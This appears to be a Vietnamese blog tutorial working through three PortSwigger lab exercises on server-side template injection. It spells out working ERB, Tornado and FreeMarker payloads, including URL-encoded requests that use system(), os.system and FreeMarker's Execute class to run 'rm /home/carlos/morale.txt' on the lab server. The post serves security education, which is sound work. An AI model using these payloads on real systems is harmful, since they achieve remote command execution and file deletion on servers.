NỘI DUNG
Như đã hứa hẹn cuối nội dung Penetration Testing Step 3 – Nhập môn Server-Side Template Injection – SSTI, kỳ này tôi sẽ chuyển sang phần demo minh họa để làm rõ các chiêu cơ bản với Server-Side Template Injection – SSTI. Cụ thể, tôi sẽ tập trung vào 3 nội dung:
- SSTI – Đường cơ bản;
- SSTI – Đường cơ bản với code context;
- SSTI – Khai thác documentation.
Lưu ý:
- Như mọi khi, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem trong nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
#1. Server-Side Template Injection – Đường cơ bản
Không nói nhiều, tôi múc phần demo ngay và luôn. Đầu tiên, tôi truy cập vào mục tiêu và thử kiểm tra chi tiết của một sản phẩm.
Quan sát ở Burp Suite Proxy History, tôi thấy request dùng message parameter để render (tạm dịch thô bỉ là “dựng”) cái nội dung “Unfortunately this product is out of stock” như hình minh họa trên.
https://ac571fad1f4bb415c0a609c600a2004f.web-security-academy.net/?message=Unfortunately%20this%20product%20is%20out%20of%20stock
Nhờ chơi cheatcode (cái này thực tế tôi sẽ phải xắn tay lên mà chạy các phương án thử nghiệm), tôi xác định mục tiêu sử dụng ERB template. Kiểm tra ERB documentation, tôi nhận thấy cái syntax sẽ có dạng <%= someExpression %>. Với thông tin này, tôi có thể dùng payload để test hàng theo kiểu dùng mathematical operation <%= 7*7 %>.
Tôi chạy URL-encode cái payload này rồi đút vào làm giá trị cho message parameter theo kiểu:
https://ac571fad1f4bb415c0a609c600a2004f.web-security-academy.net/?message=<%25%3d+7*7+%25>
Lúc này nếu load URL trên browser tôi sẽ hốt được kết quả phép tính “7*7” (49) như sau. Việc này xác nhận cho tôi khả năng “ăn” mục tiêu với SSTI.
Tiếp tục mân mê cái Ruby documentation, tôi xác định cái system() method có thể được sử dụng để thực thi operating system command (tức là là lệnh của hệ điều hành) tùy ý. Vậy nên, tôi có thể sáng tác ra một payload để triệt hạ file của nạn nhân Carlos (morale.txt) theo kiểu:
<%= system("rm /home/carlos/morale.txt") %>
Tương tự như trên, tôi dí con hàng này vô giá trị của message parameter theo kiểu như sau để thực hiện ý đồ đen tối.
https://ac571fad1f4bb415c0a609c600a2004f.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
#2. Server-Side Template Injection – Đường cơ bản với code context
Trong kịch bản này, tôi sẽ bật sẵn Burp Suite rồi login với crendetial được cung cấp và tiến hành post thử một comment vớ vẩn vào bài blog.
Kiểm tra kỹ vị trí My account, tôi thấy xuất hiện tùy chọn Preferred name để lựa chọn dạng tên (Full name, First name, Nickname) sẽ xuất hiện ở phần comment (ở trên tôi đang dùng Full name tương ứng với tùy chọn Name trong phần Preferred name).
Nếu thử đổi tùy chọn sang First Name và quay về chỗ comment, tôi sẽ thấy cái cái Full name đã chuyển sang First Name tương ứng.
Kiểm tra chỗ Burp Suite Proxy History, tôi quan sát thấy cái POST request thiết lập giá trị tương ứng cho parameter blog-post-author-display (như nói trên, ngoài dạng user.first_name bên dưới, tôi có các lựa chọn user.name và user.nickname).
Tôi hốt cái request này quăng qua Burp Suite Repeater. Lại nhờ chơi cheatcode, tôi biết được mục tiêu đang sử dụng Tornado template (và một lần nữa, tôi nhắc lại, thực tế tôi sẽ phải bỏ công ra mà xác định thông tin này). Rà qua Tornado documentation, tôi ghi nhận cái template expression sẽ cần “bao bọc” với curly braces theo kiểu {{someExpression}}.
Như vậy, tôi có thể thử nghiệm trên Burp Suite Repeater phương án escapse out (tạm dịch là thoát) cái expression trước đó (với “}}“) và tuồn cái template syntax tôi muốn kiểm tra {{7*7}} vào như sau.
blog-post-author-display=user.name}}{{7*7}}
Sau khi send con hàng này đi, tôi quay lại chỗ comment và nhận thấy con số may mắn 49 đã phọt ra cho thấy SSTI vulnerability có thể tồn tại trong code context.
Thừa thắng xông lên, sau khi xác định có thể thực thi code Python với syntax có dạng {% somePython %}, tôi thử nghiệm import os (operating system) module sau đó gọi system() method để thực system command tùy ý. Ví dụ, để xoá file morale.txt của nạn nhân Carlos, tôi sẽ có thể chơi payload theo kiểu.
{% import os %}
{{os.system('rm /home/carlos/morale.txt')
Ghép cái payload này vào chỗ blog-post-author-display theo kiểu trên và chạy URL-encode, tôi sẽ có kết quả kiểu như sau:
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
Công việc tiếp theo không có gì đặc sắc. Tôi dí cái đống phía trên vào cái POST request tương ứng và send. Và kết quả 302 trả về cho biết ý đồ của tôi đã thành công mỹ mãn.
#3. Server-Side Template Injection – Khai thác documentation
Trong kịch bản này, phương án tấn công sẽ phức tạp hơn khi tôi phải nhờ cậy vào các documentation liên quan. Thực tế, việc nghiên cứu documentation của template engine là yêu cầu bắt buộc trước khi bắt tay vào hành động (chứ không đọc thì sao biết dùng template syntax như thế nào???). Ngoài ra, documentation cũng sẽ có thể cung cấp các “dự báo” quan trọng về các vấn đề bảo mật tiềm ẩn mà người dùng có thể mắc phải từ đó tạo điều kiện cho tôi đâm thọt vào hệ thống.
Thôi không dông dài nữa, tôi vào demo đây. Để bắt đầu, tôi sẽ login vào hệ thống với vai trò content-manager. Sau đó tôi tiến hành chọn một sản phẩm và Edit template.
Tại đây, tôi thăm dò template engine với syntax kiểu ${test} (thực tế tôi sẽ phải thử nghiệm nhiều kiểu chứ hiếm khi có kiểu đập phát ăn ngay như thế này) rồi save để render result ra check hàng sản phẩm.
Quan sát hiện trường vụ án, tôi ghi nhận kết quả cho biết mục tiêu đang sử dụng Freemarker template engine.
Tôi nghiên cứu cái documentation của FreeMarker và phát hiện một thứ hay ho liên quan đến phần bảo mật của việc cho phép người dùng upload template.
Soi kèo để coi kỹ hơn về cái new built-in này, tôi ghi nhận.
À, đại khái, cái new built in này có thể được sử dụng để tạo một Java object tùy ý từ đó thực thi TemplateModel interface. Mà rồi TemplateModel Interface có gì hot?
Tiếp tục chuyển qua kiểm tra cái TemplateModel class và soi phần liên quan đến “All Known Implementing Classes“, tôi ghi nhận có xuất hiện class execute khá hứa hẹn.
Kiểm tra kỹ cái Class Execute, tôi xác nhận khả năng thực thi command như tôi mong đợi.
Và như vậy, tôi có thể triển thử phần khai thác như sau để đưa vào Template.
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("pwd") }
Lúc này, tôi có thể quan sát được thư mục hiện hành từ command pwd. Ngon rồi, giờ tôi có thể cập nhật payload để thử xóa file của Carlos với command kiểu như sau.
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
1 thought on “Penetration Testing Step 3 – Các đòn cơ bản với Server-Side Template Injection”